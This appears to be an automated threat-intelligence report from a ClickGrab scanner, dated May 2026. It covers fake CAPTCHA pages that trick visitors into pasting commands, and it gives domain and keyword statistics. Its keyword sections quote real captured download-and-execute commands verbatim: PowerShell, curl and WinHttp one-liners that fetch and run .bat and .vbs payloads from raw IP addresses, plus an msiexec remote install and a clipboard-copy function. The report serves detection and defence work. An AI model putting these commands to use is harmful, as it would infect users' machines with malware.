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Emerging ClickGrab Campaign: Advanced Analysis of 2026-05-14 Attack Patterns

📅 Published: May 14, 2026 👨‍💻 Author: ClickGrab Threat Intelligence Team 📖 12 min read
100Sites
22%Detection
2PS Downloads

ClickGrab Threat Analysis Report - 2026-05-14

Generated on 2026-05-14 01:59:36

Executive Summary

  • Total sites analyzed: 100
  • Sites with malicious content: 22
  • Unique domains encountered: 1,696
  • Total URLs extracted: 7,958
  • PowerShell download attempts: 2
  • Clipboard manipulation instances: 103

Domain Analysis

Most Frequently Encountered Domains

  • bharatnamkeens.com: 405 occurrences
  • baovechuyennghiep.baovengayvadem.com: 348 occurrences
  • www.maheshwaree.com: 320 occurrences
  • twitch.co.com: 318 occurrences
  • 98.70.13.131: 309 occurrences
  • fudgeshop.com.au: 265 occurrences
  • picsera.com: 226 occurrences
  • 18.176.47.246: 218 occurrences
  • adturekorea.co.kr: 214 occurrences
  • scillarodriguez.com: 198 occurrences
  • www.ccera-icar.org: 178 occurrences
  • www.evodigital.com.au: 156 occurrences
  • devblog.ezeelogin.com: 132 occurrences
  • www.dorper.com.au: 125 occurrences
  • picsera.sirv.com: 121 occurrences

URL Pattern Analysis

reCAPTCHA imagery

11 occurrences across 8 distinct URLs

  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
  • https://www.google.com/recaptcha/api.js (2 times)
  • https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (2 times)
  • https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha (1 times)
  • https://www.google.com/recaptcha/api.js?hl=&render=6Lf7uxYsAAAAANagtTWlY2ET8HF8nbfMf4-ePcWm (1 times)
  • ...and 3 more distinct URLs

Font resources

75 occurrences across 61 distinct URLs

  • https://fonts.gstatic.com (6 times)
  • https://fonts.googleapis.com (4 times)
  • https://18.176.47.246/wp-content/plugins/vk-post-author-display/vendor/vektor-inc/font-awesome-versions/src/font-awesome/css/all.min.css?ver=7.1.0 (2 times)
  • https://adturekorea.co.kr/js/font-awesome/css/font-awesome.min.css?ver=220620 (2 times)
  • https://use.fontawesome.com/releases/v5.6.3/css/all.css (2 times)
  • ...and 56 more distinct URLs

CDN hosted scripts

9 occurrences across 9 distinct URLs

  • https://cdn.jsdelivr.net/npm/three@0.167.0/build/three.module.js (1 times)
  • https://cdn.jsdelivr.net/npm/three@0.167.0/examples/jsm/ (1 times)
  • https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 (1 times)
  • https://cdn.jsdelivr.net/npm/slick-carousel@1.8.1/slick/slick.css?ver=6.8.5 (1 times)
  • https://cdn.jsdelivr.net/npm/slick-carousel@1.8.1/slick/slick.min.js?ver=6.0.8 (1 times)
  • ...and 4 more distinct URLs

Google resources

122 occurrences across 67 distinct URLs

  • https://bharatnamkeens.com/wp-content/plugins/widget-google-reviews/assets/img/guest.png (32 times)
  • https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent (13 times)
  • https://fonts.googleapis.com (4 times)
  • https://www.googletagmanager.com/gtm.js?id= (4 times)
  • https://www.google (3 times)
  • ...and 62 more distinct URLs

Suspicious Keyword Analysis

Total Keywords Found: 525 (110 unique)

Keyword Categories

Social Engineering

44 unique keywords

  • verification-code-bEE4bmZ6Sis0OVNmUDNCTHp3NWF2VmtTOEVZS2tDeThycE1CcFNPZUttcUZVVnBlT01LZlk1UFh1bm1vZDFqUm5ZOU91c3FNMk5rMnh3MWxqNDdNTTh4UUlnRW1RVjJmemdOM1drcEJWWnk2VmdFUWFac05XcWJMOW9BdkFWRFN8NlJHVVdMb21HSEFXRkc0SFErT0N3ODBid0t3MjA3djcwc20yZHhFekdOST0
  • Verify you are human
  • command = "msiexec /i https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/";
  • captcha_word
  • exec /i https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/";
  • Checking if you are human
  • captcha-badge
  • Robot
  • To better prove you are not a robot
  • verification
  • ...and 34 more

Obfuscation Indicators

11 unique keywords

  • eval(script)
  • eval(this._loadScript(url.url) + "\n//@ sourceURL= " + url.url)
  • eval('var timeOut'+popupItems[i].id)
  • Command for the linkW!Set the Show Command for the linkWTell the link to resolve itselfWWW!Get the IconLocation for the linkW!Set the IconLocation for the linkW!Tell the link to save the changesWISetupStringTable InterfaceWWWGet string from nameWWget_SuiteCallbackWput_SuiteCallbackWget_SuiteExtensionput_SuiteExtensionICommand line argument passed to setup.exe when it's launched after rebootW*Set a shortcut property for an opened link7Retrieve any failures from applying shortcut propertiesWWW0Set a shortcut property for Run As AdministratorWW3Retrieve shortcut property for Run As AdministratorWWW.Interface ISetupDynamicLinkedLibraryControllerInstallShield LogServices ClassWWWISetupLogService Interface8Opens the Log Database from the specified Storage objectWW:Creates a new Log Database on the specified Storage object*Opens the Log Database in a read-only modeISetupLogService2 InterfaceWWWSetupMainWindow ClassWISetupMainWindow InterfaceWindow caption Window handleWShows/Hides wait cursorWWW Create windowWDestroy windowISetupWindowText Interfaceproperty Color property TextW
  • eval("timeIn"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').show(15).css({'top': top + 'px', 'left': left + 'px'}); }, 200);")
  • eval("timeOut"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').hide(15); }, 200);")
  • eval(frameContents)
  • eval("clearTimeout(timeIn"+uid+")")
  • eval(
  • eval("clearTimeout(timeOut"+uid+")")
  • ...and 1 more

System Commands

33 unique keywords

  • Command key on Mac, Win key on other platforms.
  • Exec format errorArg list too longNo such device or addressInput/output errorInterrupted function callNo such processNo such file or directoryOperation not permittedNo error: : Visual C++ CRT: Not enough memory to complete call to strerror.Visual C++ CRT: Not enough memory to complete call to strerror. /c TMP /c TMPccs=UTF-8UTF-16LEUNICODEccs=UTF-8UTF-16LEUNICODEX������<1�
  • command =powershell -c "Invoke-WebRequest -Uri 'http://95.164.53.214:5554/d.bat' -OutFile \"%temp%\d.bat\" -UseBasicParsing; Start-Process \"%temp%\d.bat\"";
  • powershell
  • Invoke
  • wscript
  • exec(this.url)
  • const command =
  • command = 'cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h.Open "GET","http://198.13.158.127:5506/ny.vbs",0:h.Send:Execute h.ResponseText > "%temp%\\ny.vbs" && "%temp%\\ny.vbs"';
  • CMD
  • ...and 23 more

Verification Text

3 unique keywords

  • ray id
  • hidden
  • Hidden

Technical Terms

19 unique keywords

  • WebClient
  • failed_to_retrieve
  • .bat
  • responseText
  • VirtualAlloc
  • .exe
  • CreateThread
  • WinHttpRequest
  • ieX
  • Bypass
  • ...and 9 more

Most Frequent Keywords

  • hidden: 47 occurrences
  • robot: 39 occurrences
  • Robot: 28 occurrences
  • verification: 21 occurrences
  • CAPTCHA: 18 occurrences
  • failed_to_retrieve: 18 occurrences
  • Verification: 17 occurrences
  • CAPTCHA Verification: 16 occurrences
  • I am not a robot: 16 occurrences
  • You will observe: 16 occurrences
  • verification-id: 16 occurrences
  • To better prove you are not a robot: 16 occurrences
  • Verification ID: 15 occurrences
  • Ray ID: 14 occurrences
  • Checking if you are human: 14 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';, command = 'cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';

Group 2: CAPTCHA Verification, CAPTCHA-verificatie-ID, Verification, verification

Group 3: Verification ID, verification-id, verification_data, verification id, Verification Hash, verification_id

Group 4: Ray ID, ray id

Group 5: CAPTCHA, captcha, captcha-badge, captcha-logo, CAPTCHA-logo, captcha-box, captcha_word, captcha_sid, captcha-js, Captcha

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 0/7

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

  • QSocks5SocketEnginePrivate
  • 0337fb47f6a741f2ce62bc40cac29442
  • applicationsRemoving
  • CREATEWEBSITESExtracted
  • IsSetupTypeMinDisplay

Clipboard Manipulation Analysis

Detected clipboard manipulation in 103 instances.

Document.Execcommand Copy

Found in 42 snippets (40.8% of clipboard code)

Examples:

try { document.execCommand('copy')

document.execCommand("copy")

document.execCommand('copy')

Textarea Manipulation

Found in 45 snippets (43.7% of clipboard code)

Examples:

tListener("click", function () { const textarea = document.createElement('textarea'

ng is the safe placeholder above const textarea = document.createElement('textarea'

ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"

Complete Malicious Functions

Function 1:

function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }

Report truncated for storage. Full per-site detail is available in the scan JSON under nightly_reports/.